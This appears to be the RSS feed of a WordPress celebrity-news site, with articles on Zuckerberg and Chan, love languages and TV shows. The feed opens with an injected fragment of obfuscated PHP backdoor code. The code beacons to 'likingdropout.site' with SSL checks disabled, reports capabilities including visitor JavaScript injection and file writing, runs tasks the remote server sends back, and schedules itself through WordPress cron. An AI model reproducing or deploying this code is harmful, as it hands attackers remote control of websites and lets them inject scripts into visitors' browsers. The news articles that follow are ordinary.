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$len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; 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update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Relationship – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Fri, 23 Sep 2022 18:55:48 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.6 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Relationship – Brief News https://briefnews.eu 32 32 Inside the 19-year relationship of Meta CEO Mark Zuckerberg and Priscilla Chan, who are about to have their 3rd baby together https://briefnews.eu/inside-the-19-year-relationship-of-meta-ceo-mark-zuckerberg-and-priscilla-chan-who-are-about-to-have-their-3rd-baby-together/ https://briefnews.eu/inside-the-19-year-relationship-of-meta-ceo-mark-zuckerberg-and-priscilla-chan-who-are-about-to-have-their-3rd-baby-together/#respond Fri, 23 Sep 2022 18:55:48 +0000 https://briefnews.eu/inside-the-19-year-relationship-of-meta-ceo-mark-zuckerberg-and-priscilla-chan-who-are-about-to-have-their-3rd-baby-together/ Mark Zuckerberg and Priscilla Chan
Facebook CEO Mark Zuckerberg and Priscilla Chan.

AP Photo/Jeff Chiu

  • Meta CEO Mark Zuckerberg has been married to his wife, Priscilla Chan, since 2012.
  • The couple met during college and have since had two kids together with a third on the way.
  • They've also founded the Chan Zuckerberg Initiative and amassed a real estate empire. 

Meta CEO Mark Zuckerberg may not have gotten an undergrad degree out of Harvard, but he has his time at the university to thank for introducing him to his wife, Priscilla Chan.

The couple met in 2003 at a frat party, and tied the knot in 2012, one day after the IPO of what was then called Facebook.

Over the past two decades, as Zuckerberg has continued to run Meta, the couple founded the Chan Zuckerberg Initiative, pledged millions to philanthropy efforts, started a family, and traveled on vacations abroad, all while buying up big properties in California, Lake Tahoe, and Hawaii.

Here's everything you need to know about the couple, who have been together for nearly 20 years and have two children together — with one more on the way. 

Priscilla Chan and Mark Zuckerberg met in line for the bathroom at a Harvard University party in 2003. Zuckerberg's fraternity, Alpha Epsilon Pi, was hosting a party and Chan, a sophomore student from the Boston area, was there.

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"He was this nerdy guy who was just a little bit out there," Chan told The New Yorker. "I remember he had these beer glasses that said 'pound include beer dot H.' It’s a tag for C++. It’s like college humor but with a nerdy, computer-science appeal."

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Chan said that when she first met Zuckerberg, she thought he might get kicked out of school for a prank he pulled: the hot-or-not website ranking the attractiveness of students on campus, called "Facemash," that Zuckerberg notoriously created in his sophomore year at Harvard.

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Mark Zuckerberg celebrated Facebook's fifteenth birthday with a blog post.

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Zuckerberg was also expecting to get kicked out of Harvard when he met Chan. The party was a farewell bash. In his 2017 commencement address at Harvard, Zuckerberg said his opening line to Chan was: "I'm going to get kicked out in three days, so we need to go on a date quickly."

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"Without Facemash, I wouldn't have met Priscilla," Zuckerberg said in his Harvard commencement address in 2017. "She's the most important person in my life, so you could say it was the most important thing I built in my time here."

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Mark Zuckerberg at Harvard's 2017 commencement.

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When Zuckerberg took Chan out for the first time, he told her he'd "rather go on a date with [her] than finish his take-home midterm," Chan said in an interview with the "Today Show" in 2014. "The type-A first child in me was appalled."

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Zuckerberg officially dropped out of Harvard in the fall of 2005, after his sophomore year, to focus on building Facebook. He moved out to Palo Alto, California, where Facebook opened its first office.

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In 2007, Chan graduated from Harvard, and Zuckerberg was there to celebrate. Chan then followed him to California, and entered medical school at the University of California, San Francisco in 2008. She rented an apartment near Golden Gate Park, where Zuckerberg would visit her most weekends.

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Students during a graduation ceremony at Harvard University.

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Early on in their relationship, Chan set some strict ground rules because Zuckerberg was so busy with Facebook. Chan required one date per week, and a minimum of 100 minutes of alone time per week not at Facebook.

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In this Sept. 20, 2016 file photo, Facebook CEO Mark Zuckerberg and his wife, Priscilla Chan, smile as they prepare for a speech in San Francisco.

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"They walk in the park, go rowing (he insists that they go in separate boats and race), play bocce or the board game the Settlers of Catan. Sundays are reserved for Asian cuisine," the New Yorker wrote about the couple in 2010.

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Zuckerberg and Chan in 2016.

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Chan was there when Zuckerberg turned down multiple buyout offers, including a $ 1 billion offer from Yahoo in 2006. She told the New Yorker in 2010 that during that time period, Zuckerberg was the most stressed-out that she'd ever seen him.

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Chan and Zuckerberg in China in 2012.

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While still a med student at UCSF, Chan moved in September 2010 to Zuckerberg's rented house in the College Terrace neighborhood of Palo Alto. He announced the news on — where else — Facebook. "Now we have 2x everything, so if you need any household appliances, dishes, glasses, etc please come by and take them before we give them away," he wrote.

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The "Facebook house" in Palo Alto.

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In May 2011, Zuckerberg and Chan bought a five-bedroom home for $ 7 million in Palo Alto and tricked it out with a "custom-made artificially intelligent assistant." The following year, Zuckerberg bought the four homes surrounding the residence for $ 43 million to allow him to expand his property.

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Zuckerberg and Chan's home in Palo Alto's Crescent Park neighborhood.

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In March 2011, Chan and Zuckerberg adopted a dog, a Puli they named Beast. That same month, the couple finally made their relationship Facebook official.

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A Puli, though not Mark Zuckerberg's Beast.

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In May 2012, Zuckerberg and Chan tied the knot in a surprise wedding ceremony just days after Chan graduated from med school and Zuckerberg took his company public. The couple told guests that the event was a surprise graduation party for Chan, then treated their guests to a wedding ceremony in the backyard of the couple's Palo Alto house.

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Chan and Zuckerberg at the Sun Valley conference in 2013.

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The newlyweds — and newly minted billionaires — spent their honeymoon in Rome, Italy, but had a pretty casual vacation: they were spotted eating McDonald's for a meal while abroad.

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McDonald's fries.

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Not long after returning from their honeymoon, Zuckerberg purchased a townhouse in San Francisco's Dolores Heights neighborhood for $ 10 million. He spent an additional $ 1.6 million to remodel the place. He sold the home in 2022 for $ 31 million.

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Zuckerberg's home is near Dolores Park, in the Mission District of San Francisco.

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Zuckerberg and Chan made a major purchase in October 2014: two properties in Kauai, Hawaii, for more than $ 100 million. They've since added to the estate two more times and now own roughly 1,500 acres in Kauai.

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Kauai, Hawaii.

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Chan finished her medical residency, with a specialty in pediatrics, in June 2015. She then went on to work as a pediatrician at San Francisco General Hospital.

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In July of that year, Zuckerberg announced on Facebook that Chan was pregnant. The couple had been trying for years, but Chan suffered three miscarriages along the way. "It's a lonely experience," Zuckerberg wrote. Chan gave birth to a baby girl that December and the couple named her Max — short for Maxima.

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To celebrate the birth of their daughter, the couple also announced the launch of the Chan Zuckerberg Initiative. The couple pledged to donate 99% of their Facebook shares through the organization. Chan left her role as a pediatrician to run the organization full-time.

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Zuckerberg and Chan embrace during a Chan Zuckerberg Initiative event in 2016.

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The couple announced in 2016 they would invest $ 3 billion of the Chan Zuckerberg Initiative's funds into research for curing the world's diseases. Their goal is to cure all diseases in the lifetime of their daughter, Max.

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Together, the couple have given hundreds of millions to charity. They announced in 2015 they were signing onto the Giving Pledge, a commitment made by billionaires to give away more than half of their wealth during their lifetimes or in their wills.

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Mark Zuckerberg and his wife Priscilla Chan.

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Chan and Zuckerberg have also made efforts to support education on both coasts. The Meta CEO made a $ 100 million investment back in 2010 into the struggling school system in Newark, New Jersey, but the effort ultimately failed. In 2015, Chan and Zuckerberg launched their own school, called The Primary School, for students in low-income areas.

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The couple also donated $ 75 million in 2015 to a San Francisco public hospital, which was then renamed after Zuckerberg. In 2020, the hospital's name was formally condemned by city officials, who accused the couple of tax evasion and Facebook of "endangering public health" by allowing misinformation to spread on its platform.

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San Francisco General Hospital changed its name to Zuckerberg San Francisco General in 2015 after Facebook CEO Mark Zuckerberg and his wife Priscilla Chan donated $ 75 million to the 147-year-old institution.

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Meanwhile, Zuckerberg and Chan welcomed the birth of their second daughter in August 2017, whom they named — appropriately — August. Zuckerberg took two months off work for paternity leave after August's birth.

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Zuckerberg and Chan have also traveled the world together. Early on in their relationship, they agreed to vacation for two weeks every year overseas. They've taken trips to Dubai, Mumbai, and China, where they visit Chan's family. Zuckerberg spent years learning Mandarin from Chan.

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Mark Zuckerberg and Priscilla Chan walking around Shanghai in March 2012.

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Zuckerberg and Chan took a trip in 2016 to Rome, where they met with Pope Francis at the Vatican. Zuckerberg gave the pope a miniature model of a Facebook solar-powered drone.

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Zuckerberg and Chan added to their real estate portfolio in 2018, secretly dropping $ 59 million to purchase two waterfront estates in Lake Tahoe. Together, the two properties have 600 feet of private waterfront access.

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Lake Tahoe in the winter.

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In December 2019, Zuckerberg and Chan offered a rare glimpse inside their home on "CBS This Morning" as they made challah bread with Max and August.

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Amid the coronavirus outbreak, the Chan Zuckerberg Initiative formed a COVID-19 task force to help increase the testing abilities of labs in the Bay Area.

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Airport authorities check-up on passengers arriving to Moscow from Beijing and Hong Kong at Sheremetyevo International Airport in Moscow, Russia on February 26, 2020.

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The couple announced in September 2022 that they're expecting their third child together. "Happy to share that Max and August are getting a new baby sister next year!" Zuckerberg wrote on Instagram.

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Priscilla Chan and Mark Zuckerberg.

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Paige Leskin contributed to an earlier version of this article. Additional reporting from Alyson Shontell.

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]]> https://briefnews.eu/inside-the-19-year-relationship-of-meta-ceo-mark-zuckerberg-and-priscilla-chan-who-are-about-to-have-their-3rd-baby-together/feed/ 0 The 5 Love Languages You Need to Practice in Your Relationship https://briefnews.eu/the-5-love-languages-you-need-to-practice-in-your-relationship/ https://briefnews.eu/the-5-love-languages-you-need-to-practice-in-your-relationship/#respond Thu, 27 May 2021 06:15:01 +0000 https://briefnews.eu/?p=264990 You express your affection and love to your significant other regularly. However, do you take time to ensure that you are communicating how your spouse wants to receive it? This is an essential question because love can get lost in translation when two partners are speaking different love languages. Even when you’re just getting started with a Hookup Date, you still need to understand how to approach the other person and how to understand him or her.

Many of us have heard about the ‘five languages of love’; are love languages real? Most definitely, they are real. Every individual today receives and gives love in different ways. Understanding these differences can help your relationship grow and blossom. It is one of the simplest ways. The term ‘love languages’ was termed by Gary Chapman for his book ‘The Five Love Languages’. In this article, we will read about these languages in brief.

What Are The Five Love Languages?

There are five love languages that you need to know. These languages are very straightforward as well. They include:

  1.   Word Of Affirmation

People that relate to words of affirmation look for a verbal connection. They want to hear what you are saying with full attention and what you admire or appreciate about them. Some examples of what love languages go best together include – ‘I loved the dinner you cooked yesterday’, etc.

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If you are in a long-distance relationship and unable to see your beloved in person, you can simply send a short video to them. You should know that even the tiniest gesture matters.

  1.   Acts Of Service

Some people feel love and appreciation when you lend a helping hand or do something kind. For instance, you could shovel their driveway for a friend who is hospitalized. These are some examples of acts of service.

When you are at home, you can try to be more proactive and lift some responsibilities off someone else’s shoulders. Or, you could get a chore done that everyone at home avoids, like running the dishwasher, scraping ice off the car, changing the litter box, cleaning the oven, etc. If you know someone that relates to acts of service, you can send a loving and clear message to them by scanning the environment intentionally to understand what things need to be done to make the settings better.

  1.   Receiving Gifts

Of course, there is nothing materialistic about receiving gifts. In fact, receiving gifts can be someone else’s love language. When you present them with something, whether it is tangible or intangible, you will make them feel special. After all, it is the thought that counts. Receiving gifts is the language that answers the question – can different love languages work?

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Whether you are picking up your roommate’s favourite pizza or groceries for your family, all these count as receiving gifts for your partner or for whomever you are doing so. Some great examples of this love language include a framed picture of you and your family or partner, gift cards for coffee or cake, a package that contains their favourite chocolates or valentine cards, etc.

  1.   Quality Time

Most people have this question – are love languages how you show love? In fact, they do. Spending quality time is one of the most obvious love languages today. It is the ability to have your undivided and dedicated attention that some people treasure the most. While in the times of the COVID-19, spending quality time can be difficult. However, thanks to the advancements made in the world of technology, you can easily spend some quality time with your parents/partner.

If you want to spend quality time with your partner, you can visit their house or vice versa. If you live far-off, you can also take the initiative of organizing coffee dates. You can also use the traditional phone call each week with your best friend. When you are talking to one another, ensure that there are no distractions.

  1.   Physical Touch

Physical touch is the most compatible love language if you want to know which love languages are compatible. This can range anywhere from a fist bump with your best friend to a romantic kiss to your partner.

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When you are with your friends, family, or partner, ensure that you hug them every once in a while. If you live far away, you can try getting creative. Try to email an outline of your hand and instruct them to place their hands on the picture while imagining that they are holding hands. While it may sound weird, it is the best solution you have for now.

Final Thoughts

Compared to people who think about what to do when your love languages are different, you do not have to do anything. These five languages of love are universal and can be experienced by people all around the world. All you need to do is start observing how you interact and “talk” with your significant other.

Did you use this approach in your relationship? Let us know in the comments!

]]> https://briefnews.eu/the-5-love-languages-you-need-to-practice-in-your-relationship/feed/ 0 New Amsterdam Video: Max Is Startled by Helen and Cassian’s Relationship https://briefnews.eu/new-amsterdam-video-max-is-startled-by-helen-and-cassians-relationship/ https://briefnews.eu/new-amsterdam-video-max-is-startled-by-helen-and-cassians-relationship/#respond Tue, 30 Mar 2021 13:18:39 +0000 https://briefnews.eu/new-amsterdam-video-max-is-startled-by-helen-and-cassians-relationship/

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Max is about to learn a valuable lesson on New Amsterdam: Always knock before entering.

In TVLine’s exclusive sneak peek from Tuesday’s episode (NBC, 10/9c), the doc marches into Dr. Helen Sharpe’s office with an idea to solve the hospital’s latest crisis, only to discover his colleague locked at the lips with Dr. Cassian Shin (played by Daniel Dae Kim). The unexpected visual throws Max off his game as he stares wide-eyed and stammers before abruptly exiting the room, his plan forgotten.

“Seeing her moving on with Cassian from a potential something with Max … and being happy and smiling and going on dates and all this stuff, I think it certainly brings up questions of, ‘How do I feel about this person? And maybe I should answer that sooner than later and figure that out,’” star Ryan Eggold told TVLine ahead of Season 3’s premiere.

But with the effects of the pandemic still weighing heavily on the hospital, Max’s mind isn’t on romance at the moment. Plus, “I think if Max ever does have the room, mentally, to entertain any kind of love life, it’s going to look a lot different than it would’ve looked last year,” showrunner David Schulner said. “Nothing is the same. No one’s in the same spot they were last year. I mean, he was on a road with Sharpe. There’s no doubt about it. He had feelings last year that he could not articulate, and that all got upended this year.”

However, EP/director Peter Horton assured TVLine that Max/Helen “will be a dynamic that you’ll get to see play out throughout the whole season. It’s been upended, it’s been changed, but it hasn’t gone away.” And the question of whether the pair will confront their feelings for one another “will definitely be braided through the season and will have a definite impact.”

Press PLAY below to watch the sneak peek, then hit the comments with your hopes for “Sharpwin”!

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]]> https://briefnews.eu/new-amsterdam-video-max-is-startled-by-helen-and-cassians-relationship/feed/ 0 Dan Walker baffled as he speaks on ‘weird relationship’ with Mike Bushell on BBC Breakfast https://briefnews.eu/dan-walker-baffled-as-he-speaks-on-weird-relationship-with-mike-bushell-on-bbc-breakfast/ https://briefnews.eu/dan-walker-baffled-as-he-speaks-on-weird-relationship-with-mike-bushell-on-bbc-breakfast/#respond Sat, 23 Jan 2021 10:49:19 +0000 https://briefnews.eu/dan-walker-baffled-as-he-speaks-on-weird-relationship-with-mike-bushell-on-bbc-breakfast/

Dan Walker, 43, doesn’t usually host weekend instalments of BBC Breakfast but he featured on Saturday’s programme to discuss what was coming up on Football Focus later on in the day. To do this, he spoke with Mike, 55, as he was the co-star who had the most amount of knowledge on the headlines emitting from the sporting arena. However, when the former Strictly Come Dancing star came to introduce his BBC colleague, he got his name wrong by calling his co-star “dad”.

After teasing his colleague’s appearance on the show, Mike said: “Good morning, dad. I mean Dan, not dad.”

This left the sports reporter humiliated as he let out a nervous laugh and Dan also found the moment hilarious.

“Hold on a minute, that would be a weird relationship, wouldn’t it?” the Football Focus host said as he was left baffled by the remark.

“Yes, good morning, son,” he replied as he continued the joke before going on to speak about what was coming up on the sport’s show.

However, he had to stop his train of thought as he was still distracted by the blunder, adding: “Took me a while to get over that one, Michael.”

READ MORE: Carol Kirkwood sparks concern over BBC Breakfast absence

Dan managed to compose himself enough to continue with the rest of the segment but he couldn’t help but bring up the blunder once again at the end.

“Mike, if I am your father, I want you in bed by eight o’clock tonight, please” the presenter joked, before adding: “But you can watch Football Focus at midday.”

“And Match of the Day, can I stay up for that?” the sports reporter asked as he carried on the comical tone of the conversation.

Realising he was also covering the late-night programme, Dan said: “Oh, yes. You’ll be fully bored with me by the end of the day today.”

“I look up to Dan, literally,” the sports reporter quipped, with Charlie going on to label each member of the team as an individual in a family setup.

The host asked who weatherman Tomasz Schafernaker, 42, would fit into their family but the forecaster didn’t listen to the full conversation.

“Sorry, I was absolutely miles away,” he remarked, asking Charlie to clarify what they were actually talking about.

“How far are we going to back in this story?” the host jibed, before referencing how Mike got Dan’s name wrong.

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]]> https://briefnews.eu/dan-walker-baffled-as-he-speaks-on-weird-relationship-with-mike-bushell-on-bbc-breakfast/feed/ 0 Chicago Fire Ignites Casey and Brett’s Relationship — But There’s a Hitch! https://briefnews.eu/chicago-fire-ignites-casey-and-bretts-relationship-but-theres-a-hitch/ https://briefnews.eu/chicago-fire-ignites-casey-and-bretts-relationship-but-theres-a-hitch/#respond Thu, 19 Nov 2020 09:47:33 +0000 https://briefnews.eu/chicago-fire-ignites-casey-and-bretts-relationship-but-theres-a-hitch/

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Need to catch up on Chicago Fire? Check out last week’s recap here.

It’s been a long wait, but Chicago Fire‘s Casey and Brett finally made some major progress in their “will they or won’t they?” relationship during Wednesday’s episode.

Following last week’s ambulance crash, Casey jumps out of the moving fire truck and over the street railing to get to Brett (and Gianna, but mostly Brett). Later, once they’re all safely back at the firehouse, Brett asks Casey how he got to the accident site so fast all by himself. Casey insists that the others were there, too, but Brett only remembers seeing him, at first.

“It’s always been you,” she says, then quickly tries to save face by adding, “I mean, you’re always the one who’s there for me when I’m in a crisis… Thank you for being such a good friend.”

While chatting with Stella, Brett freaks out about the fact that she basically just blurted out that she’s in love with Casey. Stella doesn’t think that’s such a bad thing, but Brett keeps saying she can’t feel that way about him.

As for Casey, he awkwardly asks Brett if she’s up for going to Molly’s that night. (Herrmann and Mouch are not impressed by the locker room exchange.) At the bar, Gallo recounts Casey’s quick response when he thought Brett was in danger, and Brett is visibly surprised and moved by the story. She and Casey exchange smiles across the table — until she abruptly excuses herself and makes up some story about having to meet a friend.

When Casey confronts Brett at her apartment, she admits she was avoiding him so she wouldn’t kiss him — and then she plants one on him! And it doesn’t end there: The pair start undressing and make their way to the couch, where they both confess they’ve been wanting this for a long time. Unfortunately, Brett interrupts the moment to ask Casey a question: If Gabby came back and asked him to leave with her, would he go?

“I haven’t talked to her in a long time,” Casey says, to which Brett replies that’s not an answer. So Casey says, “I don’t know.”

Brett thanks him for being honest. The situation is complicated and she thinks he should leave, so he does. Welp, that ended quickly.

Fire fans, what did you think of the big Brett/Casey moment?

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]]> https://briefnews.eu/chicago-fire-ignites-casey-and-bretts-relationship-but-theres-a-hitch/feed/ 0 Vikings’ Travis Fimmel candidly reveals one thing he misses from show ‘Great relationship’ https://briefnews.eu/vikings-travis-fimmel-candidly-reveals-one-thing-he-misses-from-show-great-relationship/ https://briefnews.eu/vikings-travis-fimmel-candidly-reveals-one-thing-he-misses-from-show-great-relationship/#respond Thu, 10 Sep 2020 05:44:07 +0000 https://briefnews.eu/vikings-travis-fimmel-candidly-reveals-one-thing-he-misses-from-show-great-relationship/

Fans are still waiting for the sixth season of Vikings to return after part one ended with a catastrophic cliffhanger.

Episode ten left things on an ambiguous note with Bjorn Ironside (played by Alexander Ludwig) clinging to life following a surprise attack from Ivar the Boneless (Alex Høgh Andersen).

There is still no word from the History Channel as to when the final ten episodes will be released.

However, trends seem to indicate that the show will return in November, although this could be subject to delays following the outbreak of coronavirus.

READ MORE: Alexander Ludwig girlfriend: Who is the Vikings star dating?

In the meantime, fans have been looking back at the show’s history ahead of Vikings concluding its epic medieval story later this year. 

The series began life in 2013 led by Viking warrior Ragnar Lothbrok (Travis Fimmel), a legendary warrior who eventually ascended to the position of Kattegat’s king. 

After four seasons blending historical events with Norse mythology, Ragnar’s time on the show came to a dramatic close in 2017. 

Ragnar suffered a grisly fate when he was thrown into a pit of snakes by the vindictive King Aelle (Ivan Kaye).

The star said: “I miss the writing. I had a great relationship with [creator] Michael Hirst, and he’s such a fantastic writer. It was just a unique relationship we had.”

Outside of Vikings, Hirst is known for a number of historical TV and film projects, including acclaimed period dramas The Borgias and The Tudors. 

Hirst also lent his screenwriting skills to the major films Elizabeth and Elizabeth: The Golden Age, starring Cate Blanchett as the infamous British monarch. 

Fimmel and Hirst appeared to have remained on great terms, and they both appeared via video chat during this year’s Comic-Con @ Home event to look back at the series.

The Vikings star also revealed he often misses the good times he had with his co-stars and production crew on location in Ireland.

He continued: “I miss everybody on set. I miss all the Irish people that we got to work with.

“They were so talented and such good people and such fun. I was very fortunate to go through that experience.”

The latest season of season six also featured the death of Lagertha (Katheryn Winnick), and fans have their fingers crossed for a Lothbrok reunion before Vikings comes to a bloody conclusion.

Vikings season 6 is available to stream on Amazon Prime Video.

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]]> https://briefnews.eu/vikings-travis-fimmel-candidly-reveals-one-thing-he-misses-from-show-great-relationship/feed/ 0 Red Table Talk: Jada Pinkett Smith Confirms She Had a Romantic Relationship With August Alsina https://briefnews.eu/red-table-talk-jada-pinkett-smith-confirms-she-had-a-romantic-relationship-with-august-alsina/ https://briefnews.eu/red-table-talk-jada-pinkett-smith-confirms-she-had-a-romantic-relationship-with-august-alsina/#respond Fri, 10 Jul 2020 21:46:54 +0000 https://briefnews.eu/red-table-talk-jada-pinkett-smith-confirms-she-had-a-romantic-relationship-with-august-alsina/

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On Red Table Talk Friday, Jada Pinkett Smith broke her silence, confirming rumors of a romantic relationship between herself and singer August Alsina.

At the top of the episode, which also featured the actress/host’s husband Will Smith (embedded below), Pinkett Smith confirmed she got into “a different kind of entanglement” with Alsina. Smith then clarified it was “a relationship.”

Pinkett Smith explained that her family’s connection with Alsina began over concern for the singer’s health, which occurred around the same time that Pinkett Smith and Smith were going through a rough patch. “We basically broke up,” she said.

“I was done with you,” Smith said through laughs. “We decided we were going to separate for a period of time… I really felt like we could be over.”

“I was in a lot of pain and I was very broken,” said Pinkett Smith. “In the process of that relationship, I definitely realized that you can’t find happiness outside of yourself.

“Through that particular journey, I learned so much about myself, and was able to really confront a lot of emotional immaturity, emotional insecurity, and I was really able to do some really deep healing,” she said.

While she was soul-searching about herself and her marriage, Alsina was the one who broke off all communication, which she called “understandable.” The two haven’t talked since, she said.

Pinkett Smith then said she and Smith have “gotten to that new place of unconditional love.”

The actress/host teased the news in a July 2 tweet writing, “There’s some healing that needs to happen… so I’m bringing myself to The Red Table,” leaving viewers and online commentators with nothing but their own speculation.

In a June 30 interview with The Breakfast Club co-host Angela Yee, Alsina claimed he sat down with Smith and had a conversation after he and Pinkett Smith were introduced by her son, Jaden Smith, in 2015.

“Due to the transformation from their marriage to life partnership… he gave me his blessing,” Alsina said. “I totally gave myself to that relationship for years of my life, and I truly and really, really deeply loved and have a ton of love for her. I devoted myself to it, I gave my full self to it, so much so to the point that I can die right now and be OK with knowing that I truly gave myself to somebody.

“I love these people. I really, genuinely do,” Alsina said of the Smith family. “I’ve never been in love in that kind of a way. Walking away from it butchered me. I’m shaking right now because it almost killed me. Not almost… it did. It pushed me into being another person, my newer self. It broke me down.”

Pinkett Smith’s tweet was the first time she publicly alluded to Alsina’s claims, having previously denied the story through her representation. She had also denied rumors that she and husband Will Smith were in an open relationship.

Following Alsina’s statements, Smith also denied (through reps) that he gave “permission for the affair.”

Red Table Talk premiered in May 2018 on Facebook Watch and features Pinkett Smith’s mom, Adrienne Banfield-Norris, and her daughter, Willow. The streaming talk show focuses on a wide range of topics like motherhood, racism, addiction and love, with each woman bringing her unique perspective and candid personal life stories to the table.

Pinkett Smith and Will Smith have been married since 1997. They have two children, Jaden, 21, and Willow, 19, while Will’s son from a previous marriage, Trey, is 27.

Watch the full Red Table Talk episode below.

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When Burden of Truth Season 3 premieres this Thursday (The CW, 8/7c), Joanna and Billy are not a new couple — because they’ve actually been in a relationship for a significant amount of time! And not only are the lawyers shacking up, but they’ve also started a law firm together in Winnipeg. How’s that for different?!

In jumping past the pair’s early dating months, “we skipped the part that’s really not that important,” star Kristin Kreuk tells TVLine. “It’s not dramatic. The dramatic part happens when it gets hard again” — and things definitely get difficult very quickly for the duo, as they take on a new case, involving a childhood friend of Joanna’s, back in Millwood.

Below, Kreuk previews Season 3’s family theme and how Joanna and Billy’s past traumas will challenge their relationship.

TVLINE | Every year, the show kind of resets with a new case and a new personal struggle. As an executive producer, what kind of conversations did you have with the writers and the producers about the goals for this season?
So Bradley Simpson created the show, and he and I kind of debrief at the end of the season, and then when we get an inkling that we’re going to do another [season], we’ll come together. He’s a bit of a nerd. So he’ll go and collect a bunch of cases and stories that have been in the news in Canada that are things that he thinks are important, and then we’ll sit down and talk about that, and we’ll also talk about the characters, and particularly, obviously, from my perspective, Joanna, because whatever her character journey is, everyone else goes through something in relationship to that. So we really talk about what we want to accomplish in this portion of the story.

Burden of Truth SpoilersSeason 1 was very much about facing your past, having the truth revealed to you. And Season 3 is kind of still about facing your past, but it’s specifically around relationship and family, and what it takes to recognize your trauma and identify it so that you can move forward and be in families of your own, whether that’s Billy and Joanna in a relationship or the guest star for the season, Kodie [played by Outlander‘s Sera-Lys McArthur], with losing her kids.

TVLINE | What’s different and unique about this year’s ongoing case? And how does it impact Joanna?
There are a few unique qualities to this case and season. We’ve incorporated flashbacks into this season of the show, which we’ve never done before. They’re quite poetic, I guess. They’re more flashes than direct scenes, but they inform what’s happening for Joanna.

What Joanna is facing, personally, is she’s starting to have, as you see in the first episode, panic attacks, which are the result of her worrying about a potential thing that’s happening with her and Billy, along with their business and their relationship. That’s certainly a unique aspect of it, and Billy and Joanna are in a relationship at this point in the story. We’ve skipped kind of the courtship phase, and they’ve been in a relationship, and they’re working together. So you’re seeing them struggle to build their company and build their relationship and deal with the new issues that are coming forward to confront them.

TVLINE | The official synopsis mentions that the case is connected to a long-buried secret from Joanna’s childhood. How many secrets are there in Joanna’s childhood?!
[Laughs] I don’t know if there are very many more! She had a rough childhood. All the secrets are related. They, certainly, are kind of the fallout from her childhood. I guess they’re less secrets and more parts of her trauma that come to the forefront of her mind as she’s going through these massive transitional parts of her life. So it’s not like there’s another crazy thing that happened. It’s just that there were things that she experienced as a young person, because she lived in a household that was abusive, with a father who was horrible, and a mother who was mentally ill, and she had no support. So the secret kind of relates to that.

Burden of Truth SpoilersTVLINE | As you mentioned, there’s a pretty significant time jump, in terms of Joanna and Billy’s relationship this season. What did that allow you to explore and do with the relationship that was interesting and new?
I have this weird thing where I watch shows, and I always see the beginnings of relationship stories, and after people kiss, then they’re like, “Yay!” and you live in that kind of like heated tension at the beginning of things. I’m really interested in relationships and what it takes to make relationships work. That’s what we got to do by kind of skipping that part. We skipped the part that’s really not that important. It’s not dramatic. The dramatic part happens when it gets hard again. And that’s kind of what we do: We see them, and they love each other, and that’s clear and obvious. But when you work together, when you both come from an abusive household, when you have trauma in your past, when things are changing, there’s a lot of stress. So it allows us to push into their relationship with those threats, when they’re already together. That’s kind of the juicy part of relationships and love is when it’s gone on for a while, and there are things that come up that define you and define your coupledom.

Burden of TruthTVLINE | And how will Joanna and Luna’s relationship evolve as sisters this season?
They have a lot of tension this season. [Laughs] Luna is kind of redefining her life and her understanding of the world after, basically, her society rejected her, and she felt the brunt of the racism of her community. She’s moved away from Millwood, and she’s working with Joanna and Billy in Winnipeg, and she’s trying to get a handle on her life. The law is a tough place for her, because she really is an activist at heart, and she’s a fighter. The way Joanna does the law is, yes, she’s trying to do things that are good, but she is still a lawyer. Luna’s methods are not Joanna’s methods, and Joanna keeps trying to make Luna fit into her methods… So they’re at odds this season for a while, while Luna tries to figure out her own life.

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When your friend or family member is turning 30, it’s a big deal. Check out some of the best ways to send them into their new decade right.

Make A Weekend Of It

